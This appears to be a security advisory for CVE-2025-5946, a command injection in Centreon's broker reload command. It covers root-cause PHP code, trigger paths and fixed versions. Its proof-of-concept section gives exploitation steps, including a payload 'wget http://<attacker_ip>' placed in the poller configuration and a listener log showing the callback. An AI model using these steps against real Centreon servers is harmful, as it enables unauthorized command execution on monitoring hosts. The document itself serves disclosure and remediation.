Overview
CVE-2025-5946 is an authenticated OS command injection vulnerability in Centreon Infra Monitoring. The Centreon Broker reload command is stored in the poller configuration and later passed to shell_exec() through a privileged reload workflow.
A high-privileged Centreon web user can replace the broker reload command with shell syntax and trigger one of several application actions that reload the broker, resulting in command execution on the Centreon host.
Attack prerequisites
Exploitation requires an authenticated Centreon account with sufficient privileges to modify poller configuration.
Proof of concept
- Install an affected Centreon release.
- Sign in to the Centreon web interface as an administrator.
- Navigate to Configuration → Pollers → Pollers.
- Open the poller configuration.
- Replace Centreon Broker reload command with a validation payload such as
wget http://<attacker_ip>.
- Start an HTTP listener:
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...- Trigger a broker reload. The original research confirmed several reachable trigger paths, including:
- exporting poller configuration;
- deleting a graph through Administration → Parameters → Data;
- deleting a metric graph from the metric-detail view.
The callback confirms command execution:
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.201.103 - - [01/Jun/2025 16:46:09] "GET / HTTP/1.1" 200 -Root cause
The vulnerable code is in /usr/share/centreon/www/class/centreonBroker.class.php. getReloadCommand() reads broker_reload_command from the nagios_server table and reload() interpolates it directly into shell_exec("sudo $command").
// Excerpt of the vulnerable code in /usr/share/centreon/www/class/centreonBroker.class.php
public function reload(): void
{
if ($command = $this->getReloadCommand()) {
// vulnerable code!
shell_exec("sudo $command");
}
}
/**
* Get command to reload centreon broker
*
* @return string|null the command
* @throws PDOException
*/
private function getReloadCommand(): ?string
{
$command = null;
$result = $this->db->query(
'SELECT broker_reload_command
FROM nagios_server
ORDER BY localhost DESC'
);
if ($row = $result->fetch()) {
$command = $row['broker_reload_command'];
}
return $command;
}The vulnerable reload() function is reachable from several application paths documented in the research:
/usr/share/centreon/www/include/Administration/performance/viewData.php, lines 141 and 164;/usr/share/centreon/www/include/Administration/performance/viewMetrics.php, line 72;/usr/share/centreon/www/include/configuration/configGenerate/xml/restartPollers.php, line 205.
Impact
A high-privileged web user can execute arbitrary commands through a configuration value that is subsequently invoked with sudo. This crosses the web-application trust boundary and can compromise the Centreon host.
Exploit development
A Metasploit module was developed and submitted upstream as PR 20672.
Remediation
The research identified Centreon versions from 19.10 onward as affected. Vendor fixes were released in Centreon Web 24.10.13, 24.04.18, and 23.10.28, with subsequent releases also containing the correction.
References
Credits
Discovery: h00die-gr3y.